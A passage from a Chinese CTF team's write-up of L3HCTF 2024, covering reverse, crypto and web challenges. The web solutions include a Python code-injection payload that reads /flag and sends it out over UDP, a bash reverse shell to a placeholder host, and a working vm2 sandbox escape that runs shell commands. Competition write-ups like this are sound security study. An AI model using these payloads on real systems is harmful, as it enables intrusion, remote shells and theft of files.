'slytykltdhwruorn', 'ettsedvbbxttpkwg', 'znlstbcrbxxyauvt', 'zvxkminzbadeyxpn', 'vkeqpqwrdrzvrdkg',        'lmgvnrmbwermpsxx', 'wpcihvumyumoljws', 'sqqleapevuisjovs', 'xrtefpneewlrlvwd', 'mmbabccilwfyvvjak',        'mqebclxzlkierkjf', 'cuytrwygyntgajgm', 'fhodjnmtmzrqzszj', 'kmgwmlnfykcuvqnl', 'aopjewaqievtqdct',        'tjouxksorchkworv', 'ncirabcozpldzewjz', 'sucivpgmovkfqxpn', 'akhusibommljkvfb', 'cdxrtkejlxftegjn',        'pcykwqocqfjcpygs', 'ddgipyltjxtthplq', 'uqtqauyppkzzztxr', 'byziilqifrkefnmx', 'pihmqvosbrmfwvgj',        'zcrokjgwuujlsqzk', 'midiigvhwxuuxdoj', 'quzizelifvrqgiqy', 'qoizxtjfeiykktbh', 'kopvmoiueozhbxfe',        'rabczignulcwpsobz', 'esmkumjwclulmmlg', 'cwknucjbjropshgm', 'xrkvscqbnuofxbbd', 'lfhexistfbnypjxb',        'qtvceoxufqerkgcd', 'nvqnrbzmizbmenoj', 'vaxeseydjahzmeqv', 'kkhvyzvdlupbekot', 'ghkdrqrrufndvlab',        'puuorkmgkyjrrfzm', 'qdojlkfsajazdbtr', 'trunvamzxxtruqqk', 'wyfqiycmuaxnwdmj', 'tehftxcnimfcgulv',        'xideohbursltsyaw', 'zukuxtscehugrlwz', 'tqyowyifdxmlekmi', 'gktvxxotbobtzjhz', 'sbrdswxuitwshrql',        'vjxkqyvipqlevbhk', 'xupvseicxsjlvprl', 'zzvgmaspjzobbbai', 'umqxughwbhxrbgnv', 'necgnedkdtsxllws',        'kfzhgtbffdkcmemk', 'jygmwohqgxytdabcc', 'xubntcuzhakycmhb', 'nykkvobihcvcbsom', 'jmpfjbgethlvegac',        'rcrkrqlqszizkuwn', 'mkvtjvezpqntwsor', 'vavxnwabzsvbxrta', 'wxjtawscbrqldboj', 'ukqyxnzmmregydtj',        'bzdoqdhyfxjhrtca', 'zwwifjejxilnlncq', 'zbhinfwhbsewmmnj', 'wpatetlrcetrwygn', 'qijjqtjtkjldjzpv',        'wizlmxgtbqokdive', 'gjowgwgtfyoyvakj', 'dutziyzhjwwdwbmh', 'hhxlvaslalqnjfez', 'nftbzbqrrdhpbvel',        'rawgbwriyffuvwea', 'qelvbxvcmyipiyux', 'gpvbmgzpjpvmfjou', 'edysbthmpzewjmhq', 'gimdgabewrjfmouq',        'kabamudmytcvskgz', 'jnbqnbtzepeettut', 'ubycgxbczobyuvty', 'ncqlwqzzlurrfurm', 'mqdliidaptajnque',        'aqkislhbhutlmskx', 'kqgowgleasjmgjro', 'anzasevxbinscrwy', 'mligzlmekbqjtlkz', 'acjwzeaariolohth',        'lewbaeswgtsegzgf', 'bkaleiidkzgtyukg', 'griqeggfgygajdxr', 'tiqtuoakcxhsppug', 'djwebkqgutgcqjkq',        'mtdquygxxpcnmxvg', 'lzbitojuuxxhrcms', 'wkqdzfkdeoxlrrrv', 'qdkvpynqxmqizxfh', 'rsypvochupieijuw',        'zhjqkrovsdewbwrg', 'cojrovhotitqglxf', 'vupizqllrxepdyej', 'rrcescgfpodyqgqj', 'enyhpwibqizxzxlf',        'ysgpfnkxewxpunmc', 'qqayjdiwesfhjqdj', 'vvxsqmsxkwlowkaz', 'vhbgvteemnjcjzjn', 'pjvysfsrgpzeefgi',        'hjpqwdkuxpvojlrb', 'qdviqqkpfpmusqku', 'zekclapatdchkkuu', 'ushhsykosapkwfvn', 'qlwhigtykfafzwkf',        'ueeemzyxxionuzvh', 'uxidcslniryrlkfr', 'wjrqpxvnjwnzvhaw', 'sfufkmlseobjehmb', 'viqcfxqgzfgjlwyn',        'vfffdaynlllgflud', 'xgbzqwuziammugee', 'juwviucofrqykbph', 'nfhofnyrvpgnrncr', 'xwnrmtztbduhaxzm',        'qwjuwencytcviddt', 'zgtzokhuophlklax', 'yhhhyqbivjulhxzz', 'qjlrmtnkpezzxbip', 'csjtxagscqzcyxgw',        'gibiwnkxfwmdypdb', 'zwuqefypxjswiqnr', 'rvwoomgislxnjiku', 'avtzjpgdqkrswwil', 'tybnjxlyeppveuln',        'hvjlkwgdbzjuthio', 'uwmvnynpvcrtjaoi', 'tazibajxbbektuny', 'eydtgcsqrjeudusa', 'cjvzwcgypecfudux',        'oovnezznsbbuzage', 'jjeciyognokzoavb', 'ewwzxbjfxgyrwdnz', 'mqtotsnaejvwsfxv', 'hewhemklxufjlxds',        'qfgrjckxuvxppffa', 'xrkanxmmdhjnrpms', 'ugszqiazpribuhin', 'hhtlbstnuebaovan', 'wmerwupitfwffwjq',        'cfhlftbplljrdnmt', 'iwgvszqjzoutyofq', 'rfddyjwanuajwfms', 'glcpwdgghxjjlbhl', 'opyabchjxtqeaqluw',        'zqrzsgsurxcablbp', 'tlzsuhpazrgyftra', 'hfbywjxrjvfyfjor', 'xfuisoaqkhitaneo', 'jbmpkilwrfevuabc',        'riftearjllxbsrpg', 'visatalbyphvpcqn', 'tezwyeuynxiqceny', 'gmllnngsknyuqfyg', 'jcptptnztjtczgin',        'sfslwzsttdrouqmi', 'oprcoelsndlnehzv', 'cfmhxjwgozohudcf', 'mhxzekxwbbccbumx', 'qeqyvhpujfgrmiop',        'gtqtcpovarcorjrf', 'aloszdzbbywgchfd', 'dknbhpmmjnuehczn', 'ebkeuntykvvfywib', 'nlgiglojmpbxhafl',        'uswobtqjlbukbjdo', 'deinrxindafjewms', 'bgkkntzoayoycmii', 'ibgusyotlezfhixr', 'jhduofjmetuvulfv',        'ncomoknshtsctgif', 'oeqgwqzgiuxzwnbo', 'kfqhheuvmfwtbokw', 'iqsoqygphhfktibu', 'bobacxbmnfzanumt',        'knnwtzpjwzujuuxw', 'vfnlobdgwymhcgun', 'gsvqncqugmzlvkcc', 'fqnfjzhlmmsjzvxx', 'isynioqvlkzdhldw',        'ysyenabcioynjgrzo', 'mgarisubmmtmxaqu', 'tlkplxdwjvivozqu', 'uumvkpkfqckauzpy', 'jqzzndmsdwuznmii',        'cqqaephdukcklkkh', 'arqsbqajtlzbxspv', 'fpwnogjkszhusmqn', 'arkauhwcnzyhgzgp', 'mmlbhlqmmpxdsjpr',        'hxsyiwgylwvfxvqf', 'fmgsmcxhczkblvrr', 'jfsbaiqqmrcqziyh', 'yonriirnykgcqqoa', 'loqnbxhvnqhefnzc',        'vnrwfrtawnjzmzpr', 'nwvmixbdevbawgcb', 'ssoscjougdkdgwzy', 'tdotnfxymskkechy', 'gdqyqjahcohateim',        'nmpingpzculglnzq', 'oshxfncaghkzfflo', 'brqucwymtbtbpkmg', 'dlbolallmawftyne', 'zaygaqdomkdndypz',        'frynwfgjeyczjiyj', 'fkrmnqytsxookgtf', 'ztsuspdffprgefji', 'urmvtcqxbzqlfenp', 'jtqnervrgeqgltma',        'mxazffkgorgqvasd', 'ohxmmsvrbcbakvtz', 'gvgbadnzvabrkajj', 'ytxszlngumxdrxgs', 'uyrufyweypbkrbcg',        'ylelxbcmvwdqlsst', 'fnqgyqxovwwitolz', 'nmrqcgovdmaregoh', 'jabcyxscsxpdwhduv', 'agyjbfjdrxsdxcbz',        'rsxthmvbbfsbapza', 'bnulsywwhvtckkmm', 'oetgshifgdhknjen', 'fdacdxgrjnfqhbgl', 'ltrpuqvqvaaijmix',        'aalhlxvddlhxsyev', 'qubggjexevkjzapf', 'qffkqkgvbxyrncum', 'ouebeyqrrbwluaiu', 'bsmvockhhfxdvwnn',        'wzyrusboriskzetg', 'qtkohvlnoxldzkhe', 'sknqielwtnmdozdk', 'hueabhcqpsziqofs', 'qvdcptldvpyzwbwt',        'gmcsgkgfgdzvdywo', 'whcybgsdsunkkpqd', 'zouenychsloywadi', 'ofnixothejurjqwx', 'baurihhbpsuzaxdz',        'odnxgsawwegaqqsk', 'avnvjxfrofflpnfl', 'fpeejbcasyuuirri', 'lnqcckixeovoabad', 'ogzfwbnpmoqzdxqb',        'lsfpkmktczfkgase', 'ckfkwbmenshnuzrk', 'puuxkxfbbtdttkec', 'oxplgbgxocgwayuc', 'tgxfplgbhcjubdtg',        'cpcwhsckcdfhbwmp', 'huaukdwwqenjsnbr', 'hvofxghsjlfhswhp', 'vnwbsvtnpfpwatiw', 'mcbkpsbgywhqxsix',        'zksceqawvnemisil', 'ojpmvjelrldcqflk', 'ppfxcvjrjywbkaci', 'vkkkabrzumejtwdr', 'jzzvegddqgtogyel',        'fvwxxwbukfrbazxg', 'rpvgsjrcsunopqja', 'ngjxvxsqxcboieeo', 'xgrdakguxugvngjr', 'zlixckrlsfjnvwiw',        'kqqahdzvaovwrarw', 'zeqmlrqvcymohkfc', 'fkdmammoniaqeaei', 'ktrvrgxstgvttftq', 'skujpfmasgqboljm',        'ydenwjcdlcdtodqp', 'hgsuqywmnwmyfotr', 'waufauuijgxaqceu', 'gbudfydfhbvoamth', 'afskwqlszmvafeqm',        'nbsjuuyfqbhqajok', 'iiawyxcdikosbwsx', 'kgqvvxhnmswfngde', 'icqcdxpedlxpvgms', 'wpxzbdlhhvarycks',        'wkwdjgkzzrmuhuol', 'swsgbdcrbhqhfcci', 'kgmkgeiryynvhwah', 'cmpvksdyjvmbdfhj', 'uglxrzjgijfcvhbx',        'bgevfvpmocxgausz', 'uqojyggipoyuwkby', 'avlnovzpuzubuuss', 'eyghurrorndubcsm', 'zdnntbwcugnykdti',        'lchrlndexvovoznd', 'cpnizzfmpzinymlk', 'hskvkurwexwqasxt', 'xprysdqnfmvifwjy', 'ngzdbejzpatoixnp',        'zxomsbqlfuhemazl', 'iqvuegauwclhvqma', 'tzdgvyptuayjvktt', 'zvhbvljserqbcbir', 'mukwzypdxlegwipe',        'uslhhogibvwqzhyz', 'rylrlapnfsdogovl', 'impmhoqumkogchoq', 'zarlqxhzfwhqjsms', 'ymxpexvboiwzkomy',        'nhgexfzvunjnosgb', 'wslojqmvusvumclp', 'uufkkyrchehmokjr', 'uadbebqfwaewmzdk', 'wwzazyhamqhdwjzc',        'yrwrqxhvmzfeiqpa', 'gycblakmiqqoioke', 'gpyfmbzhhhtuysyf', 'agtyhlalmwzmpnes', 'jhbfquwnkzzmmrqg',        'xahekbixkfaidgkb', 'njiajqrymsbxsfyj', 'xrhkzoerfwjjjvyv', 'mojaewgjwmmxmmcj', 'mcimexhcqqptnotx',        'lshefqasobmbuxdd', 'srgglcluxgheudmy', 'cgxocmkqzjagwgmm', 'iyreabcwxbnkpsjoa', 'zaljaqjvfvvqdays',        'gskeygtjgbijvkjn', 'smpslnyxjvbhjyvh', 'raeaxhedueaayvlp', 'vbzqcqhzdaptsdts', 'enurfjqxyapakpyu',        'xesnqtvzlkjudkgx', 'kjwfyrasqtafiyri', 'bsbavcxzjuaksbld', 'hstmbonbgsleppae', 'exyhezlohmqkhxlr',        'rqmhckbvtfyqwsxh', 'wfnvwsffbdliqsll', 'eaqnrvadjaojgfsm', 'rhocxroqdqrervjn', 'mzdczcvbrhjwcdve',        'yxlrftymqxqtbvso', 'baunrbrfzrapqzit', 'oipmrdynelruxvry', 'khppolojdkojxwqv', 'umwgrzharatzdqjb',        'jbabfxajhdducgsw', 'ohtxxfqthypvhbca', 'knwjiwadhywkwlsz', 'qteikhwuuasdyvpn', 'ytdeibtvnlysssfj',        'bdcflvlghfonjfik', 'eactaiaqtgrhwkbn', 'evfodntmumnmpltz', 'zklhlzjiueabafnz', 'zrsbbgkjcseqeang',        'cbvthkbgywxvjkhh', 'gykehthvmdzklzmm', 'bhrydwsdwtqaxyhu', 'abchczaihcevacgzx', 'yonhiezjoqwosrwx',        'lpwsvvjbtimkqkaz', 'tibcufriphwxwzhj', 'kqxnnvmxdyubsyma', 'jdjdalrfdvtzjzzf', 'qzijzvthlydyayby',        'xsmhbxalbihmkgmr', 'ickheeqdhkhfvagy', 'zgancfyzdspdikye', 'rglysjgxdhtlirpe', 'xwmvbwnbknuynzms',        'rtggytyubuthyvdu', 'hjfqzmmiqdopyduc', 'yyeixxunfkstmdly', 'stccdhodaeauqskv', 'bsemgaskpcgvmcgd',        'todqxrxzpksoowqy', 'wqpfgvkppuehavdx', 'oecawvidnbencfzv', 'ocpbksbgdutggshn', 'hvfvfvhuwftqdtys',        'raqymywkbzpjsomo', 'mnsgyltrdguifeom', 'zrtwkfvmrxgmebpc', 'esnlddvhmlycfnzm', 'ujmrrippyxxaitjd',        'cjqopvqjmwdwrhtc', 'axterdjcgvvkvjmt', 'wsfjhyhiwcskrnzl', 'excxprrgtvsdstkq', 'bqpvnpcbqbjeorfs',        'zgrbyxqcahdirxzz', 'ibruhcuhiwpsndjo', 'dmningijzetvgssq', 'vsbnskosiigyjwhd', 'gvbexrsmzefdfjra',        'rnjdwommvluzgmiw', 'qfnpnioafynmfnch', 'iutdykdyrnjbijim', 'yybpzynyyvqsibqw', 'ukcumxubdajklbow',        'qpfhjabesozcqxnt', 'ogpjowmcxjvltaei', 'nmmgxxpblhyvjcza', 'rsdicjpuitrhjhoo', 'rougghrsdcuhaxkb',        'ccoubobkldovhdha', 'heeysansiaiqecsy', 'txyzgixqzbqoyddo', 'zgonqkaonzusldmu', 'ksvocdxauzvzaqej',        'tthfhimluvparxna', 'jrfaqfteargbowaq', 'vwgdxfzukfkbwmoi', 'kxaxverroublhnkg', 'hxcyocruwhxerkwv',        'waaywxwtrwpnwcxe', 'kbrwbedcrxacnfzn', 'heqhjudnrfmpgffr', 'zoninmtmgfzwfivy', 'nhdjsbedakglczfb',        'eyklkfsriufgdeta', 'cdtcihvzlfrxcqkk', 'nszlmuisqibdhuij', 'frfwwwunnpwouryl', 'bahmwsfifpehpvlm',        'xinovuwjryvjderk', 'stdxirugdjwsxdrf', 'ukzsodimorlbassb', 'dcqdmnpirlwetexz', 'lnkkravbrdzuaixf',        'iqhikikqgoabcupoz', 'tqqnskydlxxyeloy', 'hoqhujloveotexob', 'tafrmbzoiiyxkrpv', 'gedftcwddbvqbcbp',        'tmlvgfxezfqhqlro', 'omkqddentowyusgs', 'uvmoywmfgcxprcob', 'wxaexnkxfscqpbvn', 'arouwkkwzmpxcraq',        'oshuiowfgoxvscum', 'wlcbjlvtpwbizxkk', 'pqdqfcardhablnlm', 'hncftotfykwkmcwc', 'ilbkfisyjvqmmjox',        'mjziuevwvgazkmrr', 'qxftpuleqzgeoxkn', 'qwfbcoulervauwzy', 'hzzahmyatnakmfkm', 'atlkeburbqttzgdv',        'chctjbylvaqivhnu', 'kljxzdlufmjsakrn', 'ldqznwrdmigxmplj', 'jnzsugujwghliiyj', 'davvfzptwjezrtut',        'ayvxlihyfxjghbnj', 'damnybtgbouyhgvm', 'xycclwykeleqgqbz', 'xcexkuimhauveeep', 'alawhglfqmrpujdu',        'ucqkzhnxzfmhrscm', 'giqfhrubpvulkbcz', 'ibjyvrczdfvorhxe', 'qbwwxgvtphqitwrc', 'nznctodxeivfdauc',        'gcelouuuaxwxmvsw', 'rqelrfgexnkdnazl', 'fbepvxtrhujvrdfc', 'iczbfakdstudncnv', 'qwyjcjokwchroxbr',        'ycjrzaetiivrrdkc', 'hjaflkntduxbssgu', 'rwfrleciyxwvxygj', 'pfkodbjvlrgvryzh', 'fyvawqjluonvjjxc',        'nzkedkvundnsfmnm', 'zkvlbpsldcyafkpj', 'hrnjhejkhdkcmnmh', 'sydwdkxfjjkvvbfk', 'ydznqbenlyrstgmu',        'katzotudzcpwwvkb', 'xucadxwemqvixtva', 'nnbzlmlmesntwwhh', 'sidmvrqryepebkda', 'zqlfnaleybermqpx',        'kduaxanohkcebsaj', 'jajuaudbrkkcnyyq', 'rhtefiqjirzhpjwt', 'tgbyhnyxxivxpebp', 'oqqwgmpqimqnjrxz',        'tptopmpejaaaxokz', 'rglhbkxoupbeqxhn', 'diannxikfirreuin', 'ilkjfpwdabcorejuk', 'tzygwhlicpqhsxsm',        'ednqyfigrhjjsixi', 'ichtvcqqxhzvwyrk', 'ckyoxfbufktqznpj', 'xoskspafepfgeeit', 'jcbtyhklimaasdfu',        'cfkabckzjghzapvxx', 'owdyarpowhkunwhy', 'etnyrgssgohswpva', 'ccdzytrxkxrfobiv', 'vxmwodlmkjmnanqf',        'lfoyuzoffzuzknom', 'avpouwwwczpcsixm', 'befuilgwreabcsjqn', 'wwlkjupnpinaskti', 'wuaufrnozwrcwrux',        'ddmlqscfylvvlqet', 'ngtehvarjqltinad', 'hxilufvmpbmybqse', 'sxckpnkpctadurmj', 'tkauepahazlgunce',        'wdnczbubbvaeugur', 'blbtvambkabhgfmt', 'hscywaqlqpzmajlw', 'kqbcyrflffoyrrde', 'swatgwoezppbhzrz',        'wncpezwknhwlkyfa', 'fxoalqugauheullc', 'yfejaqfwodcbvjxo', 'srdidycbfudekvry', 'wbmqrnpsbwvajyst',        'eojhwvsjkhruoihy', 'lebgsqpfytyfljzy', 'nlfrksicpahzoyzs', 'vwfuihhrcdfzahuq', 'zxossokxsiilrhwn',        'nnogzvnyavbajgxg', 'xudcsovkwdigfykp', 'oxnernpkebnwtzgk', 'lpkluymjfczcabbg', 'xwmoythsnnalagrd',        'bwxqduzhwponwuxh', 'tvqujorvigsrzqra', 'ruhirwfwnudvhndi', 'yigakwntqrddbxel', 'doyelkmwfiqrcvwf',        'nqepgxvwmpczbqmp', 'euwsrbwhhaosbuxv', 'qybvertwzftjmsbo', 'ovrxezhfnplztkrf', 'zhsklztsgdxqqlos',        'hjkalxuedegqevxf', 'acqcmxxnvxiyiarj', 'irfjxvnxvcwfggyf', 'ivjlvhotuhyjrbqi', 'ybowwazfbqnlxhix',        'rwldwkwiuokthyvd', 'emeoryhhzmchkcaf', 'wkjtfktltlxrpodu', 'zozxqufosbvhvzmk', 'kejjywawtflpnzxq',        'tgjqeqqyflstgyfn', 'edodalhdkbpbvbbi', 'svvbrdqtivcocuok', 'jqycfyojmcojaike', 'uysmgvolzqhvrjcg',        'jepqutdjnzdxpuis', 'htypdjotmvugsqrn', 'ruanlnsslyvcmloa', 'rmguapshfylrqcyw', 'idmrozfesprjyydi',        'igiijxxuaewkngez', 'mmfbpbxhjbbtaktl', 'wbryhbistnsnxcre', 'eyypsgultocxkddt', 'hmgsapmnlbhkldjy',        'srdiuczmorzzmqmx', 'jydlzvjtvssbiriv', 'xyxlubdngtpamnie', 'hzxhqmvdfeelavey', 'dnmkfxoqikbpnncm',        'uvykqjhcbjrkhwws', 'hcouhxnefskqtsmj', 'tlzdfixqvzmpnxey', 'bqthxadcjbuoihjb', 'amqcryxqrquugjds',        'kazopbofkzigbrjf', 'yoazjvgcjnuynogm', 'cekiuyvsxvnhllot', 'skaakenhygficler', 'vyyblxbztgjdxemi',        'cwijfnzpasohsysb', 'vxshtpkflepkegsv', 'dqlajjejvwkljffm', 'pdrurythrunegiyt', 'wyniiprlwdxayecx',        'onzimmmmwsczxrud', 'wahjycyykcusbzkh', 'pmxfomqplrchaeji', 'cuiofjxjmfwmwjpo', 'mqeyxhbjjhtyiqax',        'vxjtwryiiaiqmgxc', 'rpxhygecrrxsorep', 'pdhcrtkvutpxkjqk', 'xghqzhfjrcskksay', 'llatzvkvpehtkmlp',        'evcdafiqhelayolh', 'wnpjllgpnngclefg', 'cplkciggvoivrdrk', 'rwzojlohceoksqei', 'ibblbsqbtieahuip',        'rxymbuhpxlybbpwj', 'oufytsooclpjthdt', 'ladsdwyczkhlprsk', 'lqglakcncwvhbmdq', 'pvffqrafetpcnonv',        'ltxqocyoaqwqlclh', 'ujleyjgijrzxpohv', 'hdliszkijxjfdhuz', 'uerwlwcboltvibyv', 'frnvgotjrsmsvdrv',        'kprkmutaqpumileg', 'dyfntcyriixrbzpu', 'pljixloqwehtiyju', 'guvbkiuixwtllbyh', 'aywoiniduriovexc',        'xkhsubtnkyitnjuu', 'orgjwbnwirxnlvkv', 'tbnfpmbwrdvlcids', 'ljptwryckhaervnt', 'piklsbpqrpcwtkax',        'btjqiwzsjhtyrabp', 'xaqhoeyrofnixysd', 'ildloryxoleksykm', 'tpkrvszvlfvhpgua', 'uomslwptxjarrgtp',        'qfawaceubqhtfqia', 'xvsatjnexaphrcsq', 'chlowdcammoiqswp', 'vryqjuplbwlaomsw', 'zkndhkyqnmooseqy',        'oehmlodyfkbgwggc', 'ygicydiozmvrkjov', 'vffghaadldklcvpa', 'dudkmcpnwktzabcyc', 'cgpwhbxlqbydfial',        'xkeqyrbppiqzzdtc', 'aywomxmmicyapqry', 'qxrfswxmtgqwiaiu', 'ogesstqnbrqzcike', 'quvgbtgtjtgxrqez',        'ilrohxbbjzdyifwb', 'mwbgfsetpneteejs', 'awvqavqersnsgvym', 'lslutwvxqsgrasxf', 'hujsniqoktvleeph',        'tbibnfjtibcusfqc', 'jkeeyrhwuudkrzmx', 'rckpwpavcgvgmbqn', 'drzbjsuvjgfxgpzx', 'kmdsvposrrdokxzu',        'lapmakjdxbobqslx', 'awqhcznyrcbreinx', 'sgtrrbfxpgcdmlfi', 'hjvvuazaydvuqzfl', 'ukvueksttoovtqnx',        'fjcjtxrbzsrxelui', 'ynxnlswchgyljfah', 'ueznbslrhcswvlvg', 'ixvfnmhdbnowsido', 'tnvrbemiduyabcpgf',        'xicjxbvnripjquxk', 'pnguepiandvkkjgm', 'fmjuyijqtflklzrz', 'wowbwesqdjgbnfza', 'bzhqulhhfrmvlikt',        'xwwbxkpqwzuvbfcc', 'tzfeejglmxpjfiob', 'ttvlzzgyydwznuuj', 'zsaqdcbxiivqeibj', 'jqhivhimzrbhfjye',        'woxtmnynlehbynso', 'tweacunvvzvxvkhe', 'wvjiwrdllmbrzyzh', 'kpawpohuffukizip', 'culggzusblbzrbvp',        'rfiaujemuathqnrg', 'txcebmnimvozhnbq', 'lbpnqjkgkmqepuca', 'rqfueobyxicwpkao', 'rggegjcjqzhrkjqn',        'xbxlktpwwsergaut', 'lhowgnysedqhcquk', 'oqldregahyfprwsi', 'dizcwcthvgopgnwx', 'bzpodvsqzlmeakvy',        'vclpieckqkxhblhl', 'lnvngowxjpgdkwfv', 'yvkdxviywwowawba', 'zxymzgtfqsshclgz', 'boqkrbmnsxvbiema',        'hoeexawhwjrohbxe', 'luocnssrsnrlbmyi', 'tduuyggdvgbfgmhw', 'frvhgulszabsrunb', 'vcsontpzpacsgobo',        'kaiqymcnijuixgvp', 'vgfugfulxkppkurw', 'foudqjgejntrwhke', 'abldoxtbpltfnsni', 'kqxvgbgkkoakfeaj',        'rdkjzlwcpygzkshq', 'qfjxzlkyrpmuvlrf', 'depydkicbtuwrbuf', 'vmpfhqfgcyreyqdl', 'oneokdfkplafayzn',        'fjcerifwgajithlr', 'gtlxawvwmlmqsuuu', 'wgfxdchxqlzdxcpr', 'ajdrspwucswacivi', 'wjzhtgddolhaahmo',        'hbyrafvgohzefptw', 'roxblqysntdnkfqx', 'rmvrjdkeppblcmvy', 'xzgbkvnyxljluccp', 'dvvwfjxmydfdzqyt',        'kxxjltlgbaiguihx', 'rahukefeaibeekpq', 'spsdfgpofpoanurm', 'pjmewktbcytjsvrs', 'nhtbcrwqzoxbhkyi',        'eanjdepcqzqdeoea', 'ujhvaizclocaksng', 'tkucqzszyktwvyjq', 'dnummodkocgrdhbx', 'bzvvgfxvgzqjshji',        'ddctbuygjncstchf', 'mrpciqjmowzdjvsm', 'qhdgxhopljagfbfi', 'ksnimciprjexohfu', 'sdfgsfcwgaknzrqt',        'keiywmjuavometzf', 'pxdzshicopwmofxl', 'xdwlukdaxhwjojeq', 'krnlgjtxhnuntwsa', 'bpnrhdwfkagaubka',        'beoyleogpryyjcmv', 'rrhlmtgpyfszchsi', 'ozdknlljectjisdg', 'wdobdazbwjecqcep', 'jfxjpbzonkvxltib',        'fwcffctkbvpkgexm', 'gornbkdvwuqirrlk', 'yyiqngwrxevbwchf', 'ggyqhxvbjwyzuxwf', 'ixhwkhgotdmkamtj',        'dbqqdygrhtysgxgw', 'mzwmkjfknwfhulgv', 'xtngfkkjuaonbemi', 'vghhkblxwbijsqwi', 'fkfulljgmpkmvxwn',        'kqdckewxfcwyjkuo', 'msaxmgcjerovxgqo', 'bswhhcxiljhjeivr', 'lwllrzomgnjzjqxh', 'gugxbiwfpjbtscyw',        'mmqsxwrnsiprrmyv', 'pdjccwbewqxbhgzn', 'mshemwgzytwmqljx', 'moezekitiafkvsqr', 'edthrvvafeypjypw',        'qspowcqalsukqhhy', 'wasrmlhgjgalcbrb', 'dglyfamnfpqkmteh', 'xgpvsclrqskbjnao', 'iawgyqoqnmxmwtrk']print(solution(num2))print(solution(num3))
  • 生成flag:

import randomdef func2(n):    a, b = (1, 1)    for i in range(n - 1):        a, b = b, a + b    return adef calc(nums):    num1 = nums[0]    num2 = nums[1]    num3 = nums[2]    num1 = 2023 + (num1 & 15) - (num1 & 240)    num2 = func2(num2 + 7)    random.seed(num3)    flag = f"{num1}{num2}{num3}{random.gauss(num2, 0.2)}"    flag = flag.replace('.', 'x')    s = 'L3HCTF{'+flag +'}'    print(s)if __name__ == '__main__':    for i in range(2,17):        calc([i,15,1])# L3HCTF{202817711117711x25763695063}

Crypto

babySPN

  • 啥也不用干,hash值打出来就是flag

UKFC2024 L3HCTF WP

Web

intractable problem

  • 非预期解:'''三引号闭合字符串,直接读取flag并发送

  • payload:

def factorization(n: string) -> tuple[int]:    i=1    while(1):        i+=1    return(1,1)'''import socketdef send_udp_packet(ip_address, port, message):    try:        # 创建UDP socket对象        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)        # 发送消息到指定的IP地址和端口号        udp_socket.sendto(message.encode('utf-8'), (ip_address, port))        # 关闭socket连接        udp_socket.close()        print("UDP数据包已发送成功!")    except:        print("UDP数据包发送失败!")flagg=""with open("/flag","r") as f:    flagg=f.read()send_udp_packet("url", 25555, flagg)'''
'''os.system('bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/xxx 0>&1"')'''

UKFC2024 L3HCTF WP

short url

解法1:

UKFC2024 L3HCTF WP

访问http://1.95.4.251:57080/test/?redirect=AB6mJQxU

解法2:

UKFC2024 L3HCTF WP

UKFC2024 L3HCTF WP

访问http://1.95.4.251:57080/test/?redirect=SjTUCOdn

escape-web

Sandbox Escape in vm2@3.9.19 via custom inspect functionhttps://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd
输出📕:/app/output.txt错误❌:/app/error.txt
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {    [customInspectSymbol]: (depth, opt, inspect) => {        // inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/error.txt;ln -s ../../../flag /app/error.txt').toString();        inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/error.txt;ln -s /flag /app/error.txt');    },    valueOf: undefined,    constructor: undefined,}WebAssembly.compileStreaming(obj).catch(()=>{});

Misc

End_of_Programming

UKFC2024 L3HCTF WP

欢迎进qq群讨论

UKFC2024 L3HCTF WP

原文始发于微信公众号(UKFC安全):UKFC2024 L3HCTF WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日23:18:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UKFC2024 L3HCTF WPhttp://cn-sec.com/archives/2475352.html

发表评论

匿名网友 填写信息